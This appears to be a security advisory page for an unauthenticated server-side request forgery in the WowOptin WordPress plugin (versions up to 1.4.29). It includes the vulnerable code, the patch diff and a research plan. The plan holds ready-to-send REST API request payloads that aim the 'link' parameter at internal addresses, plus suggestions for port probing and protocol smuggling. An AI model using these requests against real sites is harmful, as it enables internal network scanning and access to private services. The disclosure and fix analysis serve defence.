CVE-2026-4302

WowOptin: Next-Gen Popup Maker <= 1.4.29 - Unauthenticated Server-Side Request Forgery via 'link' Parameter in REST API

highServer-Side Request Forgery (SSRF)
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.4.30
Patched in
1d
Time to patch

Description

The WowOptin: Next-Gen Popup Maker plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.29. This is due to the plugin exposing a publicly accessible REST API endpoint (optn/v1/integration-action) with a permission_callback of __return_true that passes user-supplied URLs directly to wp_remote_get() and wp_remote_post() in the Webhook::add_subscriber() method without any URL validation or restriction. The plugin does not use wp_safe_remote_get/post which provide built-in SSRF protection. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.29
PublishedMarch 20, 2026
Last updatedMarch 21, 2026
Affected pluginoptin

What Changed in the Fix

Changes introduced in v1.4.30

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: SSRF in WowOptin via `link` Parameter ## 1. Vulnerability Summary The **WowOptin** plugin (<= 1.4.29) contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. The plugin registers a public REST API endpoint `optn/v1/integration-action` with a `permission_callba…

Show full research plan

Research Plan: SSRF in WowOptin via link Parameter

1. Vulnerability Summary

The WowOptin plugin (<= 1.4.29) contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. The plugin registers a public REST API endpoint optn/v1/integration-action with a permission_callback of __return_true. This endpoint allows users to trigger integration actions. When the integration type is set to webhook, the plugin passes a user-supplied URL (via the link parameter) directly to wp_remote_get() or wp_remote_post() without validation or restriction. Because it uses standard WordPress remote functions instead of wp_safe_remote_get/post, it can be used to probe internal services or cloud metadata endpoints.

2. Attack Vector Analysis

  • Endpoint: /wp-json/optn/v1/integration-action
  • Method: POST
  • Authentication: Unauthenticated (Publicly accessible via __return_true).
  • Vulnerable Parameter: link (the destination URL).
  • Control Parameters:
    • integration: Must be set to webhook to route to the vulnerable class.
    • reqType: Controls the HTTP method of the SSRF (GET or POST).
    • fields: Data passed as query arguments (GET) or JSON body (POST).
    • conv_id: An integer ID required to satisfy the add_lead logic after the request.

3. Code Flow

  1. Entry Point: An unauthenticated POST request is sent to the REST API route optn/v1/integration-action.
  2. REST Controller: The REST handler (likely admin/rest/class-rest-integration.php) identifies the integration type as webhook from the request data.
  3. Class Instantiation: The plugin instantiates OPTN\Includes\Integrations\Implementations\Webhook.
  4. Sink Call: The controller calls Webhook::add_subscriber($data), passing the request parameters.
  5. Request Execution (includes/integrations/implementations/class-webhook.php):
    • If $data['reqType'] === 'GET', the plugin calls:
      $url = add_query_arg( $data['fields'], $data['link'] );
      $res = wp_remote_get( $url, array( 'timeout' => 45 ) );
      
    • If $data['reqType'] === 'POST', the plugin calls:
      $res = wp_remote_post( $data['link'], array(
          'method'  => 'POST',
          'headers' => array( 'Content-Type' => 'application/json; charset=utf-8' ),
          'body'    => wp_json_encode( $data['fields'] ),
          'timeout' => 45,
      ));
      
  6. Persistence (Side Effect): If the request succeeds, add_lead($data) is called, which writes the fields and conv_id to the database via $this->db->add_lead().

4. Nonce Acquisition Strategy

According to the vulnerability description, the endpoint optn/v1/integration-action uses permission_callback => __return_true.

In WordPress REST API architecture:

  • When permission_callback is __return_true, no authentication is checked.
  • For unauthenticated users, WordPress does not enforce CSRF nonce (X-WP-Nonce) checks on REST API endpoints.
  • Therefore, no nonce acquisition is required for the primary exploitation path.

If the environment were to strictly require a nonce (unlikely for this specific bug), one could be found by navigating to any page where the WowOptin scripts are loaded (e.g., a page with an active popup) and reading the localized script data, but the unauthenticated nature of the permission_callback makes this unnecessary.

5. Exploitation Strategy

Goal: Trigger an SSRF to an internal service or external listener.

HTTP Request (Using http_request tool)

We will target a mock internal service or an external listener to confirm the request is made.

Payload for GET SSRF:

POST /wp-json/optn/v1/integration-action HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
  "integration": "webhook",
  "link": "http://BURP_COLLABORATOR_OR_INTERNAL_IP/path",
  "reqType": "GET",
  "fields": {
    "email": "victim@example.com",
    "internal_cmd": "status"
  },
  "conv_id": 1337
}

Payload for POST SSRF (Internal JSON API):

POST /wp-json/optn/v1/integration-action HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
  "integration": "webhook",
  "link": "http://127.0.0.1:80/wp-admin/admin-ajax.php",
  "reqType": "POST",
  "fields": {
    "email": "victim@example.com",
    "action": "some_vulnerable_ajax_action"
  },
  "conv_id": 1337
}

6. Test Data Setup

No complex setup is required because the vulnerability is in a publicly accessible REST API.

  1. Ensure the WowOptin plugin is installed and activated.
  2. No specific popups or forms need to be created, as the Webhook implementation is called directly via the REST route.

7. Expected Results

  • The server should respond with a 200 OK or 201 Created.
  • The Webhook::add_subscriber method returns true if !is_wp_error($res), so the REST response should indicate success.
  • If the target link is an external listener, an incoming request should be observed.
  • The request should originate from the WordPress server's IP.
  • The User-Agent will typically be WordPress/[version]; [site_url].

8. Verification Steps

After sending the HTTP request, verify that the "lead" was recorded in the database, confirming the code path was fully executed:

# Check the leads table to see if the SSRF attempt was logged
wp db query "SELECT * FROM \$(wp db prefix --allow-root)optn_leads WHERE conv_id = 1337;" --allow-root

(Note: The table name optn_leads is inferred from the class usage of $this->db->add_lead() and the plugin slug optin.)

9. Alternative Approaches

  • Port Probing: Iterate the link parameter with http://127.0.0.1:[PORT] and observe response times or status codes to map internal services.
  • Protocol Smuggling: Attempt other protocols supported by curl (if the underlying PHP environment supports them) like gopher:// or dict://, though wp_remote_get usually limits protocols to HTTP/HTTPS.
  • Bypassing fields logic: If the plugin's Utils::extract_name or Utils::sanitize_json_array throws errors, simplify the fields object to an empty array {}.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WowOptin plugin for WordPress is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) via its REST API. The 'optn/v1/integration-action' endpoint allows users to trigger a 'webhook' integration that passes a user-supplied 'link' parameter directly to wp_remote_get() or wp_remote_post() without validation, allowing attackers to probe internal services.

Vulnerable Code

// includes/integrations/implementations/class-webhook.php:31
	public function add_subscriber( $data ): bool {

		$res = null;

		if ( 'GET' === $data['reqType'] ) {
			$url = add_query_arg( $data['fields'], $data['link'] );
			$res = wp_remote_get(
				$url,
				array(
					'timeout' => 45,
				)
			);
		} elseif ( 'POST' === $data['reqType'] ) {
			$res = wp_remote_post(
				$data['link'],
				array(
					'method'  => 'POST', 
					'headers' => array( 'Content-Type' => 'application/json; charset=utf-8' ),
					'body'    => wp_json_encode( $data['fields'] ),
					'timeout' => 45,
				)
			);
		}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/optin/1.4.29/includes/integrations/implementations/class-webhook.php	2026-03-12 05:48:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/optin/1.4.30/includes/integrations/implementations/class-webhook.php	2026-03-17 03:50:44.000000000 +0000
@@ -31,26 +31,43 @@
 	 */
 	public function add_subscriber( $data ): bool {
 
+		if ( empty( $data['link'] ) || empty( $data['reqType'] ) ) {
+			return false;
+		}
+
+		$url = wp_http_validate_url( esc_url_raw( $data['link'] ) );
+
+		if ( false === $url ) {
+			return false;
+		}
+
 		$res = null;
 
 		if ( 'GET' === $data['reqType'] ) {
-			$url = add_query_arg( $data['fields'], $data['link'] );
-			$res = wp_remote_get(
+			$url = add_query_arg( is_array( $data['fields'] ) ? $data['fields'] : array(), $url );
+
+			if ( false === wp_http_validate_url( $url ) ) {
+				return false;
+			}
+
+			$res = wp_safe_remote_get(
 				$url,
 				array(
 					'timeout' => 45,
 				)
 			);
 		} elseif ( 'POST' === $data['reqType'] ) {
-			$res = wp_remote_post(
-				$data['link'],
+			$res = wp_safe_remote_post(
+				$url,
 				array(
 					'method'  => 'POST',
 					'headers' => array( 'Content-Type' => 'application/json; charset=utf-8' ),
-					'body'    => wp_json_encode( $data['fields'] ),
+					'body'    => wp_json_encode( isset( $data['fields'] ) && is_array( $data['fields'] ) ? $data['fields'] : array() ),
 					'timeout' => 45,
 				)
 			);
+		} else {
+			return false;
 		}

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker can send a POST request to the WordPress REST API endpoint '/wp-json/optn/v1/integration-action'. The JSON payload must include 'integration' set to 'webhook', a 'reqType' of either 'GET' or 'POST', and the 'link' parameter set to the target internal or external URL. Because the plugin uses a permission_callback that always returns true and employs wp_remote_get/post instead of wp_safe_remote_get/post, the WordPress server will execute the request to the attacker-specified URL, allowing for port scanning of the local network or access to sensitive internal metadata services.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.